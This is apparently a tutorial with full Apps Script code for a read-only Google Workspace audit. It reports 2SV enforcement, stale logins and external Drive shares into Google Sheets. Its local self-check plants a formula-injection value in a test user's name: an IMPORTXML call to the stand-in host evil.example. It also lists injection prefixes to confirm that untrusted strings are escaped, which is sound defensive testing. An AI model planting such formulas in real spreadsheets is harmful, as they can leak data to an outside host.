Audit Workspace users and events with Admin SDK
Inspect Workspace 2SV enforcement, stale logins, and external Drive shares with read-only AdminDirectory and AdminReports calls into Google Sheets.
Enable AdminDirectory and AdminReports with read-only OAuth scopes and a delegated Workspace admin role, page bounded user and Drive audit results, handle the 1970 login sentinel and formula prefixes, and write two summary tabs in single setValues batches.
Export a read-only Google Workspace security report into two Google Sheets tabs (UserPosture and ExternalShares). The script reads up to five pages of domain accounts through AdminDirectory.Users.list, flags active accounts without enforced 2-Step Verification (2SV) or without a sign-in during the past 90 days, extracts active external Google Drive sharing grants from AdminReports.Activities.list, and writes each tab in one setValues() call. A companion entrypoint, runLocalAuditNormalizationCheck, verifies normalization, epoch sentinel handling, revocation filtering, and spreadsheet formula escaping in memory on any Google account without administrator privileges.
Start after Read and write Sheets in batches for rectangular 2D setValues() writes, Work with dates and time zones for UTC RFC 3339 timestamps, and Inspect a folder with Advanced Drive v3 for enabledAdvancedServices and pageToken pagination.
Pass both authorization gates with least privilege
Every call to the Advanced Admin SDK Directory service (AdminDirectory) and Advanced Admin SDK Reports service (AdminReports) must pass two separate checks:
OAuth scope consent on the script token: When
appsscript.jsonomitsoauthScopes, Apps Script inspects your code and can request read-write Directory scopes such ashttps://www.googleapis.com/auth/admin.directory.user(see Authorization for Google services and Directory API authorization scopes). That read-write scope permits creating, suspending, deleting, and promoting users. PinningoauthScopestoadmin.directory.user.readonlyandadmin.reports.audit.readonlyprevents the script's OAuth token from mutating directory objects even if a bug calls a write method.Workspace administrator privileges on the executing user: Approving an OAuth consent screen never grants Admin console privileges. A regular domain member who approves
admin.directory.user.readonlystill receives403 Not Authorized to access this resource/apiwhen callingAdminDirectory.Users.listwith the defaultadmin_viewor when callingAdminReports.Activities.list. The signed-in Google Workspace account must hold an administrator role covering Users read access and Reports access.
Assign a dedicated auditing account a custom admin role granting only Admin API Privileges > Users > Read and Reports, or pair a read-only user role with the pre-built Reports Admin role. Keep everyday reporting off Super Admin accounts.
Never run recurring or shared Apps Script reports under a Super Admin account. Anyone with edit access to the Apps Script project can change Code.gs and appsscript.json, and an authorized execution under a Super Admin carries tenant-wide administrative power. Treat Directory profile strings (name.fullName) and Drive audit strings (doc_title) as untrusted input as well. Range.setValues() parses leading =, +, -, and @ characters as formulas unless you escape them before writing.
AdminDirectory and AdminReports wrap two distinct APIs inside the Google Workspace Admin SDK:
| Capability | AdminDirectory (directory_v1) | AdminReports (reports_v1) |
|---|---|---|
Manifest serviceId and version | "admin", "directory_v1" | "admin", "reports_v1" |
| Question answered | Current directory snapshot of users, org units, groups, and roles | Historical audit events and usage metrics across Workspace apps |
| Read method in this project | AdminDirectory.Users.list(optionalArgs) | AdminReports.Activities.list(userKey, applicationName, optionalArgs) |
| Read-only OAuth scope | https://www.googleapis.com/auth/admin.directory.user.readonly | https://www.googleapis.com/auth/admin.reports.audit.readonly |
maxResults limit per page | 1 to 500 (default 100) | 1 to 1000 (default 1000, this project passes 50) |
| Retention and propagation lag | Reflects live account settings. New user creation and role changes propagate within minutes | Retains audit events for 180 days. Lag times range from minutes to a few hours by app |
Google Drive activity audit logs (applicationName: 'drive') require an eligible Google Workspace Business or Enterprise edition (see activities.list). Login ('login') and Admin console ('admin') activity logs are available across standard Workspace editions.
Configure the standalone project and audit workbook
Keep the Apps Script project standalone rather than bound to the output spreadsheet. Editors of a Google Sheet automatically gain edit access to its bound script. Storing the target spreadsheet ID in PropertiesService.getScriptProperties() lets the delegated administrator own the script privately while sharing the output spreadsheet as Viewer with security reviewers.
At
script.google.com, create a standalone project namedWorkspace Admin posture audit.Replace
Code.gswith the complete source below.Open Project Settings, turn on Show "appsscript.json" manifest file in editor, return to Editor, replace
appsscript.jsonwith the supplied manifest, and save both files.Confirm Services lists both
AdminDirectoryandAdminReports. Do not add duplicate entries through Services > Add a service.To test normalization without Workspace admin rights, select
runLocalAuditNormalizationCheckand click Run.Before running a live audit, create a private Google Sheet owned by your delegated admin account and copy its file ID from the URL between
/d/and/edit.Under Project Settings > Script Properties, add
AUDIT_SPREADSHEET_IDwith that spreadsheet ID. If your Workspace tenant owns secondary domains, addAUDIT_INTERNAL_DOMAINSas a comma-separated list such asacme.example,subsidiary.example.
{
"timeZone": "Etc/UTC",
"dependencies": {
"enabledAdvancedServices": [
{
"userSymbol": "AdminDirectory",
"serviceId": "admin",
"version": "directory_v1"
},
{
"userSymbol": "AdminReports",
"serviceId": "admin",
"version": "reports_v1"
}
]
},
"exceptionLogging": "STACKDRIVER",
"runtimeVersion": "V8",
"oauthScopes": [
"https://www.googleapis.com/auth/admin.directory.user.readonly",
"https://www.googleapis.com/auth/admin.reports.audit.readonly",
"https://www.googleapis.com/auth/spreadsheets"
]
}
Both wrappers in enabledAdvancedServices share "serviceId": "admin" in the manifest dependency format. Apps Script distinguishes them by combining serviceId with version ("directory_v1" versus "reports_v1") and binds each wrapper to its own global userSymbol (AdminDirectory and AdminReports). Because the script opens its target workbook with SpreadsheetApp.openById, the manifest declares https://www.googleapis.com/auth/spreadsheets alongside the two read-only Admin SDK scopes.
In a default Apps Script Cloud project, saving enabledAdvancedServices enables the underlying APIs automatically. If your script is linked to a standard Google Cloud project in Project Settings, an administrator of that Cloud project must enable Admin SDK API and Google Sheets API under APIs & Services > Library (see Apps Script Google Cloud projects).
const DIRECTORY_USER_READONLY_SCOPE = 'https://www.googleapis.com/auth/admin.directory.user.readonly';
const REPORTS_AUDIT_READONLY_SCOPE = 'https://www.googleapis.com/auth/admin.reports.audit.readonly';
const SPREADSHEETS_SCOPE = 'https://www.googleapis.com/auth/spreadsheets';
const AUDIT_SPREADSHEET_ID_PROPERTY = 'AUDIT_SPREADSHEET_ID';
const AUDIT_INTERNAL_DOMAINS_PROPERTY = 'AUDIT_INTERNAL_DOMAINS';
const USER_POSTURE_SHEET_NAME = 'UserPosture';
const EXTERNAL_SHARES_SHEET_NAME = 'ExternalShares';
const MAX_USER_PAGES = 5;
const USER_PAGE_SIZE = 100;
const MAX_ACTIVITY_PAGES = 2;
const ACTIVITY_PAGE_SIZE = 50;
const STALE_LOGIN_DAYS = 90;
const MS_PER_DAY = 24 * 60 * 60 * 1000;
const NEVER_LOGGED_IN_SENTINEL = '1970-01-01T00:00:00.000Z';
const DIRECTORY_USER_FIELDS_MASK =
'nextPageToken,users(primaryEmail,name/fullName,orgUnitPath,suspended,isAdmin,isEnforcedIn2Sv,lastLoginTime)';
const REPORTS_ACTIVITY_FIELDS_MASK =
'nextPageToken,items(id/time,actor/email,actor/callerType,ownerDomain,events(name,parameters(name,value,multiValue)))';
const USER_POSTURE_HEADERS = Object.freeze([
'Primary Email',
'Full Name',
'Org Unit',
'Account State',
'Super Admin',
'2SV Enforced',
'Last Login UTC',
'Days Since Login',
'Posture Flags',
]);
const EXTERNAL_SHARES_HEADERS = Object.freeze([
'Event Time UTC',
'Actor Email',
'Document ID',
'Document Title',
'Document Type',
'Owner Email',
'Target Principal',
'Visibility',
'Granted Access',
]);
/**
* @typedef {{
* spreadsheetId: string,
* internalDomains: Set<string>
* }} WorkspaceAuditConfig_
*/
/**
* @typedef {{
* primaryEmail: string,
* fullName: string,
* orgUnitPath: string,
* accountState: 'active' | 'suspended',
* isAdmin: boolean,
* isEnforcedIn2Sv: boolean,
* lastLoginDisplay: string,
* daysSinceLogin: number | string,
* flags: string[],
* needsReview: boolean,
* row: (string | number | boolean)[]
* }} NormalizedUserPosture_
*/
/**
* @typedef {{
* eventTimeUtc: string,
* actorEmail: string,
* documentId: string,
* documentTitle: string,
* documentType: string,
* ownerEmail: string,
* targetPrincipal: string,
* visibility: string,
* grantedAccess: string,
* row: string[]
* }} ExternalDriveShareRow_
*/
/**
* Runs a pure in-memory verification of user-posture normalization, Drive
* external-share extraction, and spreadsheet formula-injection escaping.
* Calls no Workspace or Admin SDK APIs, so any account can execute it.
*/
function runLocalAuditNormalizationCheck() {
const referenceTimeMs = Date.parse('2026-11-18T00:00:00.000Z');
/** @type {AdminDirectory.Schema.User[]} */
const sampleUsers = [
{
primaryEmail: 'auditor-reader@acme.example',
name: { fullName: 'Morgan Lee' },
orgUnitPath: '/Security',
suspended: false,
isAdmin: false,
isEnforcedIn2Sv: true,
lastLoginTime: '2026-11-15T14:30:00.000Z',
},
{
primaryEmail: 'contractor@acme.example',
name: { fullName: '=IMPORTXML("https://evil.example","//a")' },
orgUnitPath: '/Contractors',
suspended: false,
isAdmin: false,
isEnforcedIn2Sv: false,
lastLoginTime: NEVER_LOGGED_IN_SENTINEL,
},
{
primaryEmail: 'seasonal-staff@acme.example',
name: { fullName: 'Jordan Patel' },
orgUnitPath: '/Operations',
suspended: false,
isAdmin: false,
isEnforcedIn2Sv: true,
lastLoginTime: '2026-07-10T09:00:00.000Z',
},
{
primaryEmail: 'archived-alumni@acme.example',
name: { fullName: 'Taylor Kim' },
orgUnitPath: '/Suspended',
suspended: true,
isAdmin: false,
isEnforcedIn2Sv: false,
lastLoginTime: NEVER_LOGGED_IN_SENTINEL,
},
];
const normalizedUsers = sampleUsers.map((user) =>
normalizeDirectoryUser_(user, referenceTimeMs),
);
if (normalizedUsers[0].needsReview !== false) {
throw new Error('Compliant active user with enforced 2SV and recent login must not be flagged.');
}
if (
!normalizedUsers[1].flags.includes('2sv_not_enforced') ||
!normalizedUsers[1].flags.includes('never_signed_in') ||
normalizedUsers[1].lastLoginDisplay !== 'never'
) {
throw new Error('Provisioned active user with 1970 epoch sentinel must flag 2sv_not_enforced and never_signed_in.');
}
if (!normalizedUsers[1].fullName.startsWith("'=IMPORTXML")) {
throw new Error('Leading = in untrusted user fullName must be escaped with an apostrophe.');
}
if (!normalizedUsers[2].flags.includes('inactive_over_90d')) {
throw new Error('Active user older than 90 days must flag inactive_over_90d.');
}
if (normalizedUsers[3].needsReview !== false) {
throw new Error('Suspended account must not raise active-account posture findings.');
}
/** @type {AdminReports.Schema.Activity[]} */
const sampleActivities = [
{
id: { time: '2026-11-17T18:10:00.000Z' },
actor: { email: 'analyst@acme.example' },
ownerDomain: 'acme.example',
events: [
{
name: 'change_user_access',
parameters: [
{ name: 'doc_id', value: '1AbCdEfGhIjKlMnOpQrStUvWxYz' },
{ name: 'doc_title', value: '+Q4 Forecast Export' },
{ name: 'doc_type', value: 'spreadsheet' },
{ name: 'owner', value: 'analyst@acme.example' },
{ name: 'target_user', value: 'reviewer@external-partner.example' },
{ name: 'visibility', value: 'shared_externally' },
{ name: 'new_value', multiValue: ['can_view'] },
],
},
{
name: 'change_user_access',
parameters: [
{ name: 'doc_id', value: '1InternalDocOnly987654321' },
{ name: 'doc_title', value: 'Team Runbook' },
{ name: 'doc_type', value: 'document' },
{ name: 'owner', value: 'analyst@acme.example' },
{ name: 'target_user', value: 'colleague@acme.example' },
{ name: 'visibility', value: 'shared_externally' },
{ name: 'new_value', multiValue: ['can_edit'] },
],
},
{
name: 'change_user_access',
parameters: [
{ name: 'doc_id', value: '1RevokedVendorDoc123456789' },
{ name: 'doc_title', value: 'Retired Vendor Spec' },
{ name: 'doc_type', value: 'document' },
{ name: 'owner', value: 'analyst@acme.example' },
{ name: 'target_user', value: 'former@external-partner.example' },
{ name: 'visibility', value: 'private' },
{ name: 'new_value', multiValue: ['none'] },
],
},
],
},
];
const externalShares = extractExternalDriveShareRows_(
sampleActivities,
new Set(['acme.example']),
);
if (externalShares.length !== 1) {
throw new Error(
'Expected exactly 1 active external share (excluding internal grants and access revocations), received ' +
externalShares.length +
'.',
);
}
if (externalShares[0].documentTitle !== "'+Q4 Forecast Export") {
throw new Error('Leading + in untrusted Drive doc_title must be escaped with an apostrophe.');
}
const prefixes = ['=SUM(1,2)', '+1-800-555-0199', '-100', '@admin', '\t=cmd', '\r=cmd', '\n=cmd'];
for (const unsafeText of prefixes) {
const escaped = escapeSpreadsheetFormulaText_(unsafeText);
if (escaped !== "'" + unsafeText) {
throw new Error('escapeSpreadsheetFormulaText_ failed to prefix ' + JSON.stringify(unsafeText));
}
}
const summary = {
mode: 'local_check',
status: 'passed',
usersChecked: normalizedUsers.length,
flaggedUserCount: normalizedUsers.filter((item) => item.needsReview).length,
externalShareCount: externalShares.length,
escapedUserNameSample: normalizedUsers[1].fullName,
escapedDocTitleSample: externalShares[0].documentTitle,
};
console.log(JSON.stringify(summary, null, 2));
return summary;
}
/**
* Exports a bounded read-only Workspace directory posture and external Drive
* sharing audit to the standalone spreadsheet configured in ScriptProperties.
*/
function exportWorkspaceSecurityAudit() {
const config = readAuditConfig_();
ScriptApp.requireScopes(ScriptApp.AuthMode.FULL, [
DIRECTORY_USER_READONLY_SCOPE,
REPORTS_AUDIT_READONLY_SCOPE,
SPREADSHEETS_SCOPE,
]);
const lock = LockService.getScriptLock();
if (!lock.tryLock(5000)) {
throw new Error(
'Another audit export holds the script lock. Wait for it to finish before retrying.',
);
}
try {
const spreadsheet = SpreadsheetApp.openById(config.spreadsheetId);
const userPostureSheet = prepareAuditTab_(spreadsheet, USER_POSTURE_SHEET_NAME);
const externalSharesSheet = prepareAuditTab_(spreadsheet, EXTERNAL_SHARES_SHEET_NAME);
const referenceTimeMs = Date.now();
const directoryResult = fetchBoundedDirectoryUsers_();
const normalizedUsers = directoryResult.users
.map((user) => normalizeDirectoryUser_(user, referenceTimeMs))
.sort(compareUserPosturePriority_);
const activityResult = fetchBoundedDriveAccessActivities_();
const externalShares = extractExternalDriveShareRows_(
activityResult.activities,
config.internalDomains,
);
writeAuditTable_(
userPostureSheet,
USER_POSTURE_HEADERS,
normalizedUsers.map((entry) => entry.row),
);
writeAuditTable_(
externalSharesSheet,
EXTERNAL_SHARES_HEADERS,
externalShares.map((entry) => entry.row),
);
SpreadsheetApp.flush();
const report = {
mode: 'live_audit',
generatedAtUtc: new Date(referenceTimeMs).toISOString(),
directoryUsersFetched: normalizedUsers.length,
directoryFlaggedUsers: normalizedUsers.filter((entry) => entry.needsReview).length,
directoryPagesFetched: directoryResult.pagesFetched,
directoryTruncatedAtCap: directoryResult.truncated,
driveActivitiesFetched: activityResult.activities.length,
externalShareEventsWritten: externalShares.length,
activityPagesFetched: activityResult.pagesFetched,
activityTruncatedAtCap: activityResult.truncated,
tabsWritten: [USER_POSTURE_SHEET_NAME, EXTERNAL_SHARES_SHEET_NAME],
};
console.log(JSON.stringify(report, null, 2));
return report;
} finally {
lock.releaseLock();
}
}
/**
* Fetches up to MAX_USER_PAGES pages from AdminDirectory.Users.list using
* customer: 'my_customer' and a partial-response fields mask.
* @returns {{users: AdminDirectory.Schema.User[], pagesFetched: number, truncated: boolean}}
*/
function fetchBoundedDirectoryUsers_() {
/** @type {AdminDirectory.Schema.User[]} */
const users = [];
/** @type {string | null} */
let pageToken = null;
let pagesFetched = 0;
do {
/** @type {{customer: string, maxResults: number, projection: string, fields: string, pageToken?: string}} */
const requestOptions = {
customer: 'my_customer',
maxResults: USER_PAGE_SIZE,
projection: 'basic',
fields: DIRECTORY_USER_FIELDS_MASK,
};
if (pageToken !== null) {
requestOptions.pageToken = pageToken;
}
const response = AdminDirectory.Users.list(requestOptions);
if (!response || typeof response !== 'object') {
throw new Error('AdminDirectory.Users.list returned an unexpected response.');
}
pagesFetched += 1;
const pageUsers = response.users === undefined ? [] : response.users;
if (!Array.isArray(pageUsers)) {
throw new Error('AdminDirectory.Users.list returned users in an unexpected format.');
}
for (const user of pageUsers) {
if (user && typeof user === 'object') {
users.push(user);
}
}
pageToken =
typeof response.nextPageToken === 'string' && response.nextPageToken.length > 0
? response.nextPageToken
: null;
} while (pageToken !== null && pagesFetched < MAX_USER_PAGES);
return {
users: users,
pagesFetched: pagesFetched,
truncated: pageToken !== null,
};
}
/**
* Fetches up to MAX_ACTIVITY_PAGES pages of Drive change_user_access audit
* records across all users via AdminReports.Activities.list.
* @returns {{activities: AdminReports.Schema.Activity[], pagesFetched: number, truncated: boolean}}
*/
function fetchBoundedDriveAccessActivities_() {
/** @type {AdminReports.Schema.Activity[]} */
const activities = [];
/** @type {string | null} */
let pageToken = null;
let pagesFetched = 0;
do {
/** @type {{eventName: string, maxResults: number, fields: string, pageToken?: string}} */
const requestOptions = {
eventName: 'change_user_access',
maxResults: ACTIVITY_PAGE_SIZE,
fields: REPORTS_ACTIVITY_FIELDS_MASK,
};
if (pageToken !== null) {
requestOptions.pageToken = pageToken;
}
const response = AdminReports.Activities.list('all', 'drive', requestOptions);
if (!response || typeof response !== 'object') {
throw new Error('AdminReports.Activities.list returned an unexpected response.');
}
pagesFetched += 1;
const items = response.items === undefined ? [] : response.items;
if (!Array.isArray(items)) {
throw new Error('AdminReports.Activities.list returned items in an unexpected format.');
}
for (const activity of items) {
if (activity && typeof activity === 'object') {
activities.push(activity);
}
}
pageToken =
typeof response.nextPageToken === 'string' && response.nextPageToken.length > 0
? response.nextPageToken
: null;
} while (pageToken !== null && pagesFetched < MAX_ACTIVITY_PAGES);
return {
activities: activities,
pagesFetched: pagesFetched,
truncated: pageToken !== null,
};
}
/**
* Normalizes one Directory user record and evaluates 2SV enforcement and
* 90-day login posture for active (non-suspended) accounts.
* @param {AdminDirectory.Schema.User} user
* @param {number} referenceTimeMs
* @returns {NormalizedUserPosture_}
*/
function normalizeDirectoryUser_(user, referenceTimeMs) {
const rawEmail = typeof user.primaryEmail === 'string' ? user.primaryEmail.trim() : '';
const rawFullName =
user.name && typeof user.name.fullName === 'string' ? user.name.fullName : '';
const rawOrgUnit =
typeof user.orgUnitPath === 'string' && user.orgUnitPath.length > 0
? user.orgUnitPath
: '/';
const suspended = user.suspended === true;
/** @type {'active' | 'suspended'} */
const accountState = suspended ? 'suspended' : 'active';
const isAdmin = user.isAdmin === true;
const isEnforcedIn2Sv = user.isEnforcedIn2Sv === true;
const rawLastLogin =
typeof user.lastLoginTime === 'string' ? user.lastLoginTime.trim() : '';
const parsedLoginMs = rawLastLogin.length > 0 ? Date.parse(rawLastLogin) : Number.NaN;
const neverSignedIn =
rawLastLogin.length === 0 ||
rawLastLogin === NEVER_LOGGED_IN_SENTINEL ||
Number.isNaN(parsedLoginMs) ||
parsedLoginMs <= 0;
const lastLoginDisplay = neverSignedIn
? 'never'
: new Date(parsedLoginMs).toISOString();
/** @type {number | string} */
const daysSinceLogin = neverSignedIn
? 'never'
: Math.max(0, Math.floor((referenceTimeMs - parsedLoginMs) / MS_PER_DAY));
/** @type {string[]} */
const flags = [];
if (!suspended) {
if (!isEnforcedIn2Sv) {
flags.push('2sv_not_enforced');
}
if (neverSignedIn) {
flags.push('never_signed_in');
} else if (referenceTimeMs - parsedLoginMs > STALE_LOGIN_DAYS * MS_PER_DAY) {
flags.push('inactive_over_90d');
}
}
const primaryEmail = escapeSpreadsheetFormulaText_(rawEmail);
const fullName = escapeSpreadsheetFormulaText_(rawFullName);
const orgUnitPath = escapeSpreadsheetFormulaText_(rawOrgUnit);
const needsReview = flags.length > 0;
const flagSummary = needsReview ? flags.join(', ') : 'ok';
return {
primaryEmail: primaryEmail,
fullName: fullName,
orgUnitPath: orgUnitPath,
accountState: accountState,
isAdmin: isAdmin,
isEnforcedIn2Sv: isEnforcedIn2Sv,
lastLoginDisplay: lastLoginDisplay,
daysSinceLogin: daysSinceLogin,
flags: flags,
needsReview: needsReview,
row: [
primaryEmail,
fullName,
orgUnitPath,
accountState,
isAdmin,
isEnforcedIn2Sv,
lastLoginDisplay,
daysSinceLogin,
flagSummary,
],
};
}
/**
* Extracts active external Drive sharing grants from AdminReports activity
* items while ignoring internal-domain shares and access revocations.
* @param {AdminReports.Schema.Activity[]} activities
* @param {ReadonlySet<string>} configuredInternalDomains
* @returns {ExternalDriveShareRow_[]}
*/
function extractExternalDriveShareRows_(activities, configuredInternalDomains) {
/** @type {ExternalDriveShareRow_[]} */
const rows = [];
for (const activity of activities) {
if (!activity || !Array.isArray(activity.events)) {
continue;
}
const rawTime =
activity.id && typeof activity.id.time === 'string' ? activity.id.time : '';
const rawActor =
activity.actor && typeof activity.actor.email === 'string' && activity.actor.email.length > 0
? activity.actor.email
: activity.actor && typeof activity.actor.callerType === 'string'
? activity.actor.callerType
: 'unknown';
const internalDomains = new Set(configuredInternalDomains);
if (
internalDomains.size === 0 &&
typeof activity.ownerDomain === 'string' &&
activity.ownerDomain.trim().length > 0
) {
internalDomains.add(activity.ownerDomain.trim().toLowerCase());
}
for (const event of activity.events) {
if (!event || event.name !== 'change_user_access') {
continue;
}
const params = event.parameters;
const visibility = getEventParamString_(params, 'visibility');
const newValues = getEventParamMultiValue_(params, 'new_value');
const grantedRoles = newValues.filter(
(role) => role.length > 0 && role.toLowerCase() !== 'none',
);
if (grantedRoles.length === 0) {
continue;
}
/** @type {string} */
let rawTargetPrincipal = '';
const targetUser = getEventParamString_(params, 'target_user').trim();
const targetDomain = getEventParamString_(params, 'target_domain').trim();
if (targetUser.length > 0) {
const targetUserDomain = extractEmailDomain_(targetUser);
if (targetUserDomain === null || internalDomains.has(targetUserDomain)) {
continue;
}
rawTargetPrincipal = targetUser;
} else if (targetDomain.length > 0) {
if (internalDomains.has(targetDomain.toLowerCase())) {
continue;
}
rawTargetPrincipal = '@' + targetDomain;
} else {
continue;
}
const eventTimeUtc = escapeSpreadsheetFormulaText_(rawTime);
const actorEmail = escapeSpreadsheetFormulaText_(rawActor);
const documentId = escapeSpreadsheetFormulaText_(
getEventParamString_(params, 'doc_id'),
);
const documentTitle = escapeSpreadsheetFormulaText_(
getEventParamString_(params, 'doc_title'),
);
const documentType = escapeSpreadsheetFormulaText_(
getEventParamString_(params, 'doc_type'),
);
const ownerEmail = escapeSpreadsheetFormulaText_(
getEventParamString_(params, 'owner'),
);
const targetPrincipal = escapeSpreadsheetFormulaText_(rawTargetPrincipal);
const safeVisibility = escapeSpreadsheetFormulaText_(visibility);
const grantedAccess = escapeSpreadsheetFormulaText_(grantedRoles.join(', '));
rows.push({
eventTimeUtc: eventTimeUtc,
actorEmail: actorEmail,
documentId: documentId,
documentTitle: documentTitle,
documentType: documentType,
ownerEmail: ownerEmail,
targetPrincipal: targetPrincipal,
visibility: safeVisibility,
grantedAccess: grantedAccess,
row: [
eventTimeUtc,
actorEmail,
documentId,
documentTitle,
documentType,
ownerEmail,
targetPrincipal,
safeVisibility,
grantedAccess,
],
});
}
}
return rows;
}
/**
* Prefixes a leading apostrophe when text starts with =, +, -, @, tab,
* carriage return, or line feed so Google Sheets stores untrusted audit
* strings as literal text rather than evaluating a spreadsheet formula.
* @param {string} value
* @returns {string}
*/
function escapeSpreadsheetFormulaText_(value) {
if (/^[=+\-@\t\r\n]/.test(value)) {
return "'" + value;
}
return value;
}
/**
* @param {{name?: string | undefined, value?: string | undefined, multiValue?: string[] | undefined}[] | undefined} parameters
* @param {string} targetName
* @returns {string}
*/
function getEventParamString_(parameters, targetName) {
if (!Array.isArray(parameters)) {
return '';
}
const match = parameters.find((param) => param && param.name === targetName);
if (!match) {
return '';
}
if (typeof match.value === 'string') {
return match.value;
}
if (Array.isArray(match.multiValue) && typeof match.multiValue[0] === 'string') {
return match.multiValue[0];
}
return '';
}
/**
* @param {{name?: string | undefined, value?: string | undefined, multiValue?: string[] | undefined}[] | undefined} parameters
* @param {string} targetName
* @returns {string[]}
*/
function getEventParamMultiValue_(parameters, targetName) {
if (!Array.isArray(parameters)) {
return [];
}
const match = parameters.find((param) => param && param.name === targetName);
if (!match) {
return [];
}
if (Array.isArray(match.multiValue)) {
return match.multiValue.filter((entry) => typeof entry === 'string');
}
if (typeof match.value === 'string' && match.value.length > 0) {
return [match.value];
}
return [];
}
/**
* @param {string} email
* @returns {string | null}
*/
function extractEmailDomain_(email) {
const trimmed = email.trim().toLowerCase();
const atIndex = trimmed.lastIndexOf('@');
if (atIndex <= 0 || atIndex === trimmed.length - 1) {
return null;
}
return trimmed.slice(atIndex + 1);
}
/**
* Sorts flagged active accounts above unflagged and suspended accounts, then
* orders alphabetically by primaryEmail.
* @param {NormalizedUserPosture_} left
* @param {NormalizedUserPosture_} right
* @returns {number}
*/
function compareUserPosturePriority_(left, right) {
if (left.needsReview !== right.needsReview) {
return left.needsReview ? -1 : 1;
}
return left.primaryEmail.localeCompare(right.primaryEmail);
}
/**
* Reads AUDIT_SPREADSHEET_ID (required) and AUDIT_INTERNAL_DOMAINS (optional)
* from ScriptProperties in one getProperties call.
* @returns {WorkspaceAuditConfig_}
*/
function readAuditConfig_() {
const allProperties = PropertiesService.getScriptProperties().getProperties();
const rawSpreadsheetId = allProperties[AUDIT_SPREADSHEET_ID_PROPERTY];
const spreadsheetId =
typeof rawSpreadsheetId === 'string' ? rawSpreadsheetId.trim() : '';
if (spreadsheetId.length === 0) {
throw new Error(
'Set Script Property ' +
AUDIT_SPREADSHEET_ID_PROPERTY +
' to your dedicated audit Google Sheet ID before running exportWorkspaceSecurityAudit.',
);
}
if (!/^[A-Za-z0-9_-]{20,120}$/.test(spreadsheetId)) {
throw new Error(
'Script Property ' +
AUDIT_SPREADSHEET_ID_PROPERTY +
' must be a spreadsheet file ID (letters, digits, hyphens, or underscores), not a full URL.',
);
}
/** @type {Set<string>} */
const internalDomains = new Set();
const rawDomains = allProperties[AUDIT_INTERNAL_DOMAINS_PROPERTY];
if (typeof rawDomains === 'string' && rawDomains.trim().length > 0) {
for (const part of rawDomains.split(',')) {
const domain = part.trim().toLowerCase();
if (domain.length > 0) {
internalDomains.add(domain);
}
}
}
return {
spreadsheetId: spreadsheetId,
internalDomains: internalDomains,
};
}
/**
* Returns the named tab, creating it when absent and refusing to overwrite any
* existing tab that contains spreadsheet formulas.
* @param {SpreadsheetApp.Spreadsheet} spreadsheet
* @param {string} sheetName
* @returns {SpreadsheetApp.Sheet}
*/
function prepareAuditTab_(spreadsheet, sheetName) {
const existing = spreadsheet.getSheetByName(sheetName);
if (!existing) {
return spreadsheet.insertSheet(sheetName);
}
const formulas = existing.getDataRange().getFormulas();
const hasFormula = formulas.some((formulaRow) =>
formulaRow.some((formula) => formula !== ''),
);
if (hasFormula) {
throw new Error(
'Sheet "' +
sheetName +
'" contains a formula. Use a dedicated plain-data audit spreadsheet before exporting.',
);
}
return existing;
}
/**
* Clears prior cell values and writes the header row plus normalized rows in a
* single batched setValues call.
* @param {SpreadsheetApp.Sheet} sheet
* @param {readonly string[]} headers
* @param {(string | number | boolean)[][]} bodyRows
*/
function writeAuditTable_(sheet, headers, bodyRows) {
const table = [Array.from(headers), ...bodyRows];
sheet.clearContents();
sheet.getRange(1, 1, table.length, headers.length).setValues(table);
}
Page Directory users and handle the 1970 login sentinel
fetchBoundedDirectoryUsers_ pages through AdminDirectory.Users.list with a do ... while loop capped at MAX_USER_PAGES (5 pages of 100 users, or up to 500 accounts per run). On the first request, pageToken is null, so requestOptions omits the pageToken property altogether. Passing { pageToken: undefined } to an advanced service can serialize the literal text "undefined" into the query string and fail with 400 Invalid Input. When response.nextPageToken is a non-empty string after page five, the helper stops and sets truncated: true so the execution log reports that additional pages exist beyond the cap.
Pass customer: 'my_customer' instead of hardcoding a C0... customer ID or a single domain parameter. In users.list, customer: 'my_customer' resolves automatically to the caller's Workspace tenant and includes users across primary and secondary domains, whereas domain restricts results to one domain. Pair projection: 'basic' with an explicit fields mask (nextPageToken,users(primaryEmail,name/fullName,orgUnitPath,suspended,isAdmin,isEnforcedIn2Sv,lastLoginTime)) to strip large profile arrays before transfer while retaining nextPageToken for pagination.
For each returned User resource, normalizeDirectoryUser_ separates suspended accounts from active ones before checking two security signals:
Suspended accounts (
user.suspended === true): Disabled accounts cannot sign in, so flagging them for missing 2SV or 90-day inactivity buries active exposure under former-employee records. They appear onUserPosturewithAccount Stateset tosuspendedandPosture Flagsset took.2SV policy enforcement (
user.isEnforcedIn2Sv !== true): TheUserresource exposes bothisEnrolledIn2Sv(the user registered a second factor) andisEnforcedIn2Sv(organizational policy requires 2SV at sign-in). CheckingisEnforcedIn2Svcatches accounts sitting in an organizational unit where 2SV remains optional, even if the user happened to enroll earlier.90-day login inactivity (
STALE_LOGIN_DAYS = 90): Active accounts whoselastLoginTimeis older than 90 days beforereferenceTimeMsreceiveinactive_over_90d.compareUserPosturePriority_sorts flagged active accounts to the top ofUserPosture.
When a Google Workspace account has been created and has never signed in, AdminDirectory.Users.list returns '1970-01-01T00:00:00.000Z' (Unix epoch 0) for lastLoginTime instead of omitting the field. Subtracting epoch 0 from Date.now() yields more than 20,000 days since login and mislabels an unactivated account as an old sign-in. normalizeDirectoryUser_ tests for '1970-01-01T00:00:00.000Z' and parsedLoginMs <= 0, records never in Last Login UTC and Days Since Login, and flags never_signed_in. When comparing lastLoginTime or recent admin changes against AdminReports, account for Admin console data retention and lag times: Directory and Login fields update within minutes, whereas some report streams take up to several hours to appear and retain activity history for 180 days.
Extract active external Drive shares and escape formula prefixes
fetchBoundedDriveAccessActivities_ calls AdminReports.Activities.list('all', 'drive', requestOptions). Unlike AdminDirectory.Users.list, which takes one optional-arguments object, Activities.list requires two positional path arguments first:
userKey:'all'selects activity across every non-deleted user in the tenant. Passing a single user's primary email narrows the query to actions performed by that actor.applicationName:'drive'selects Google Drive audit activity events.
Inside requestOptions, eventName: 'change_user_access' requests per-user and per-domain sharing changes at maxResults: 50 across at most MAX_ACTIVITY_PAGES (2 pages). Each returned Activity item contains an events array, and each event stores its metadata in a parameters array of { name, value, multiValue } entries rather than flat object keys:
getEventParamString_reads single-valued parameters (doc_id,doc_title,doc_type,owner,target_user,target_domain, andvisibility).getEventParamMultiValue_reads repeated parameters such asnew_value, which lists the resulting Drive access roles (for example['can_view'],['can_edit'], or['none']).
